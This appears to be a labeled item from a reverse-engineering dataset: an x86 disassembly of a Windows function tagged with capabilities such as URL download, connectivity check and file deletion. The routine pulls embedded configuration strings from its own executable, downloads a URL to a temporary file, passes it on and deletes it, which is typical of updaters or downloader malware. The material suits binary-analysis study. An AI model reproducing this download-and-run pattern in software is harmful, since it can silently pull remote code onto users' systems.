Function at 0x401620
Capabilities:
Check internet connectivity via wininet
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4331c8
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x442700]
xor eax, esp
push eax
lea eax, [esp + 0x60]
mov dword fs:[0], eax
mov esi, ecx
call fcn.00404db7
push 5
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esi + 0x90], eax
call fcn.0040edfb
mov eax, dword [eax + 0xc]
push 0x83
push eax
lea edi, [esi + 0x84]
call dword [sym.imp.USER32.dll_LoadBitmapW]
push eax
mov ecx, edi
call fcn.00405daf
mov ecx, dword [esi + 0x88]
lea eax, [esi + 0x94]
push eax
push 0x18
push ecx
call dword [sym.imp.GDI32.dll_GetObjectW]
mov eax, dword [esi + 0x20]
lea edx, [esp + 0x38]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x38]
mov dword [esi + 0xb4], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esi + 0xb0], ecx
push esi
lea ecx, [esp + 0x4c]
mov dword [esi + 0xb8], edx
mov dword [esi + 0xac], eax
call fcn.00405b7b
xor ebx, ebx
mov dword [esp + 0x68], ebx
mov edx, dword [esp + 0x4c]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
lea ecx, [esi + 0x74]
call fcn.00405afe
cmp edi, ebx
jne 0x4016fd
xor edi, edi
jmp 0x401700
mov edi, dword [edi + 4]
mov eax, dword [esi + 0x78]
push edi
push eax
call fcn.00405e34
cmp eax, ebx
jne 0x401712
xor eax, eax
jmp 0x401715
mov eax, dword [eax + 4]
mov ecx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0xbc]
push eax
push 1
push 0x80
push ecx
call edi
mov eax, dword [esi + 0xbc]
mov edx, dword [esi + 0x20]
push eax
push ebx
push 0x80
push edx
call edi
mov eax, dword [esi + 0x20]
push ebx
push 0x3e8
push 1
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0xa04
call fcn.00402b1d
add esp, 4
push 0x100
mov ebp, eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp ebp, ebx
lea edi, [esi + 0x150]
jne 0x401784
xor eax, eax
jmp 0x40179f
mov eax, ebp
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401790
sub eax, edx
sar eax, 1
push eax
push ebp
mov ecx, edi
call fcn.00402540
mov eax, dword [edi]
push 0x5c
push eax
call fcn.0041d9bf
add esp, 8
cmp eax, ebx
jne 0x4017be
or eax, 0xffffffff
jmp 0x4017c2
sub eax, dword [edi]
sar eax, 1
add eax, 1
push eax
lea ecx, [esp + 0x1c]
push ecx
mov ecx, edi
call fcn.00401e90
push eax
mov ecx, edi
mov byte [esp + 0x6c], 1
call fcn.004024c0
mov byte [esp + 0x68], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401804
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x28]
call fcn.0040f177
push ebx
push ebx
mov byte [esp + 0x70], 2
push ebp
lea ecx, [esp + 0x34]
mov dword [esp + 0x28], ebx
call fcn.0040f5aa
push ebx
push ebx
push 0x50
lea ecx, [esp + 0x34]
call fcn.0040ef10
push 4
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x30]
call fcn.0040ee85
push 0xa04
push ebx
push ebp
call fcn.0041eaa0
mov ebx, dword [esp + 0x28]
add esp, 0xc
lea ecx, [esp + 0x28]
xor edi, edi
call fcn.0040f06a
cmp edi, edx
jb 0x40188a
ja 0x401867
cmp ebx, eax
jbe 0x40188a
push ebp
call fcn.00402b48
add esp, 4
push 0
push 0
push 0x439ba0
call fcn.0040c546
mov ecx, esi
call fcn.00401310
jmp 0x401ad6
push 0
push edi
push ebx
lea ecx, [esp + 0x34]
call fcn.0040ef10
push 0xa04
push ebp
lea ecx, [esp + 0x30]
call fcn.0040ee85
lea ecx, [esp + 0x28]
call fcn.0040f115
mov edx, dword [ebp]
mov dword [0x443a7c], edx
lea edx, [ebp + 4]
test edx, edx
lea ecx, [esi + 0x138]
jne 0x4018c9
xor eax, eax
jmp 0x4018df
mov eax, edx
lea ebx, [eax + 2]
mov edi, edi
mov di, word [eax]
add eax, 2
test di, di
jne 0x4018d0
sub eax, ebx
sar eax, 1
push eax
push edx
call fcn.00402540
lea edx, [ebp + 0x204]
test edx, edx
lea ecx, [esi + 0x13c]
jne 0x4018fa
xor eax, eax
jmp 0x40190f
mov eax, edx
lea ebx, [eax + 2]
nop
mov di, word [eax]
add eax, 2
test di, di
jne 0x401900
sub eax, ebx
sar eax, 1
push eax
push edx
call fcn.00402540
lea edx, [ebp + 0x604]
test edx, edx
lea ecx, [esi + 0x140]
jne 0x40192a
xor eax, eax
jmp 0x40193f
mov eax, edx
lea ebx, [eax + 2]
nop
mov di, word [eax]
add eax, 2
test di, di
jne 0x401930
sub eax, ebx
sar eax, 1
push eax
push edx
call fcn.00402540
lea ecx, [ebp + 0x804]
test ecx, ecx
lea edi, [esi + 0x14c]
jne 0x40195a
xor eax, eax
jmp 0x40196f
mov eax, ecx
lea ebx, [eax + 2]
nop
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401960
sub eax, ebx
sar eax, 1
push eax
push ecx
mov ecx, edi
call fcn.00402540
mov eax, dword [ebp]
mov dword [esi + 0x144], eax
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x401991
push eax
mov ecx, esi
call fcn.0040da9c
push 0
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x4019b6
mov ecx, esi
call fcn.00401310
jmp 0x401acd
lea ebx, [ebp + 0x404]
push ebx
lea ecx, [esp + 0x1c]
call fcn.00402710
mov byte [esp + 0x68], 3
mov edx, dword [esp + 0x18]
cmp dword [edx - 0xc], 0
jne 0x4019e1
mov ecx, esi
call fcn.00401310
jmp 0x401aa8
lea edi, [esp + 0x18]
call fcn.00401e30
mov eax, dword [esp + 0x18]
cmp dword [eax - 0xc], 0
jl 0x401a11
push str.http:__
push eax
call fcn.0041d960
add esp, 8
test eax, eax
je 0x401a11
sub eax, dword [esp + 0x18]
sar eax, 1
cmp eax, 0xffffffff
jne 0x401a56
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x1c]
call fcn.00401f90
add esp, 4
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x6c], 4
call fcn.004024c0
mov byte [esp + 0x68], 3
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401a56
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x18]
push 0
push 0
push str.Temp
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
je 0x401a78
mov ecx, esi
call fcn.00401310
jmp 0x401a9d
push 0
push 0
push 0
push 0
push ebx
push str._bLLLL
push 0
push 0
push 1
push 0x68
add esi, 0xc0
push esi
call fcn.0040dbb4
add esp, 0x2c
push str.Temp
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [esp + 0x68], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401acd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push ebp
call fcn.00402b48
add esp, 4
lea ecx, [esp + 0x28]
mov byte [esp + 0x68], 0
call fcn.0040f273
lea ecx, [esp + 0x48]
mov dword [esp + 0x68], 0xffffffff
call fcn.00405bcf
mov eax, 1
mov ecx, dword [esp + 0x60]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret